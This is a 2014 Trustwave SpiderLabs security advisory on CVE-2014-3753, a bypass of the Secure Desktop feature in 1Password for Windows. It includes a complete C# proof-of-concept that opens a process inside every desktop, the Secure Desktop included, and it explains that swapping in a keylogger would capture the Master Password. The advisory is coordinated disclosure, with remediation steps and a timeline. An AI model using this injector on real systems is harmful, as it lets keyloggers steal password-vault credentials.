Trustwave SpiderLabs Security Advisory TWSL2014-012: Secure Desktop Protection Bypass in 1Password for Windows Published: 08/06/2014 Version: 1.0 Vendor: AgileBits (https://agilebits.com) Product: 1Password for Windows Version affected: 1.0.9.340 and prior Product description: 1Password is a password manager that allows users to store passwords in a encrypted database. Users can obtain access to these passwords by unlocking the vault with a Master Password. Secure desktop is a security feature used in 1Password to prevent the ability for keyloggers to steal passwords. The Secure Desktop is a feature of Windows API that creates a separated desktop to run programs/processes and this way not allowing processes and programs running in other desktops to capture keystrokes or screen in this desktop. This only allows trusted processes running as SYSTEM are allowed to run here (i.e. nothing running as the User’s privilege level) and the path to get to the Secure Desktop from the User Desktop must also be trusted through the entire chain. Finding 1: Secure Desktop Protection Bypass Credit: Márcio Almeida de Macêdo and Bruno Gonçalves de Oliveira of Trustwave SpiderLabs CVE: CVE-2014-3753 CWE: CWE-693 The secure desktop implemented by 1Password allows a process running in another desktop to interact with the the secure desktop UI objects. Using the User32.dll we developed a PoC code to run process and programs inside of the secure desktop and that way bypass the feature protection allowing for example a keylogger process to capture the keystrokes inserted into the secure desktop. The following proof of concept code opens a cmd.exe in every desktop of the active session and continues waiting for new desktops to open a cmd.exe on that desktop. So, changing the cmd.exe by a keylogger program, the keylogger will be launched inside of the secure desktop when it's created and that way will be able to capture the keystrokes inserted in the 1Password Master Password window. ###### PoC ####### using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Runtime.InteropServices; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; namespace DesktopInjector { class Program { [DllImport("user32.dll")] public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); [DllImport("user32.dll")] private static extern bool SwitchDesktop(IntPtr hDesktop); [DllImport("user32.dll")] public static extern bool CloseDesktop(IntPtr handle); [DllImport("user32.dll")] public static extern bool SetThreadDesktop(IntPtr hDesktop); [DllImport("user32.dll")] public static extern IntPtr GetThreadDesktop(int dwThreadId); [DllImport("user32.dll")] static extern IntPtr OpenDesktop(string lpszDesktop, uint dwFlags, bool fInherit, uint dwDesiredAccess); private delegate bool EnumDesktopProc(string lpszDesktop, IntPtr lParam); [DllImport("user32.dll")] private static extern bool EnumDesktops(IntPtr hwinsta, EnumDesktopProc lpEnumFunc, IntPtr lParam); [DllImport("user32.dll")] private static extern IntPtr GetProcessWindowStation(); [DllImport("kernel32.dll")] private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, ref PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll")] public static extern int GetCurrentThreadId(); [StructLayout(LayoutKind.Sequential)] private struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX; public int dwY; public int dwXSize; public int dwYSize; public int dwXCountChars; public int dwYCountChars; public int dwFillAttribute; public int dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] private struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } private const int NORMAL_PRIORITY_CLASS = 0x00000020; private const long DF_ALLOWOTHERACCOUNTHOOK = 0x0001L; private const uint DELETE = 0x00010000; private const uint READ_CONTROL = 0x00020000; private const uint WRITE_DAC = 0x00040000; private const uint WRITE_OWNER = 0x00080000; private const uint STANDARD_RIGHTS_REQUIRED = DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER; private const long DESKTOP_CREATEWINDOW = 0x0002L; private const long DESKTOP_ENUMERATE = 0x0040L; private const long DESKTOP_WRITEOBJECTS = 0x0080L; private const long DESKTOP_SWITCHDESKTOP = 0x0100L; private const long DESKTOP_CREATEMENU = 0x0004L; private const long DESKTOP_HOOKCONTROL = 0x0008L; private const long DESKTOP_READOBJECTS = 0x0001L; private const long DESKTOP_JOURNALRECORD = 0x0010L; private const long DESKTOP_JOURNALPLAYBACK = 0x0020L; private const uint AccessRights = (uint)DESKTOP_JOURNALRECORD | (uint)DESKTOP_JOURNALPLAYBACK | (uint)DESKTOP_CREATEWINDOW | (uint)DESKTOP_ENUMERATE | (uint)DESKTOP_WRITEOBJECTS | (uint)DESKTOP_SWITCHDESKTOP | (uint)DESKTOP_CREATEMENU | (uint)DESKTOP_HOOKCONTROL | (uint)DESKTOP_READOBJECTS | STANDARD_RIGHTS_REQUIRED; private static List _desktops = new List(); private static List _p0wn3d_desktops = new List(); public static IntPtr Create(string dsktopname) { return CreateDesktop(dsktopname, IntPtr.Zero, IntPtr.Zero, 0, AccessRights, IntPtr.Zero); } public static IntPtr Open(string name) { return OpenDesktop(name, 0, false, AccessRights); } public static bool Show(IntPtr desktopPrt) { if (desktopPrt == IntPtr.Zero) return false; return SwitchDesktop(desktopPrt); } public static bool Exists(string name) { foreach (string s in GetDesktops()) { if (s == name) { return true; } } return false; } public static bool hasP0wn3d(string name) { foreach (string s in _p0wn3d_desktops.ToArray()) { if (s == name) { return true; } } return false; } private static void CreateProcess(string path, string desktopName) { STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = desktopName; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); var lpCurrentDirectory = Path.GetDirectoryName(path); CreateProcess(path, null, IntPtr.Zero, IntPtr.Zero, true, NORMAL_PRIORITY_CLASS, IntPtr.Zero, lpCurrentDirectory, ref si, ref pi); } private static string[] GetDesktops() { IntPtr windowStation = GetProcessWindowStation(); if (windowStation == IntPtr.Zero) return new string[0]; _desktops.Clear(); bool result = EnumDesktops(windowStation, DesktopEnumProc, IntPtr.Zero); if (!result) return new string[0]; return _desktops.ToArray(); } private static bool DesktopEnumProc(string lpszDesktop, IntPtr lParam) { _desktops.Add(lpszDesktop); return true; } static void Main(string[] args) { IntPtr hNewDesktop; while (true) { foreach (string desktop in GetDesktops()) { if (!hasP0wn3d(desktop)) { hNewDesktop = Open(desktop); Task.Factory.StartNew(() => { SetThreadDesktop(hNewDesktop); CreateProcess("C:\\windows\\system32\\cmd.exe", desktop); }).Wait(); _p0wn3d_desktops.Add(desktop); } } } } } } ########## Remediation Steps: Upgrade to version 1.0.9.341 (build #341) or the latest stable version of 1Password for Windows. Revision History: 04/30/2014 - Vulnerability disclosed to vendor 06/04/2014 - Patch released by vendor 08/06/2014 - Advisory published References 1. https://agilebits.com/onepassword/win/release_notes#v341 About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.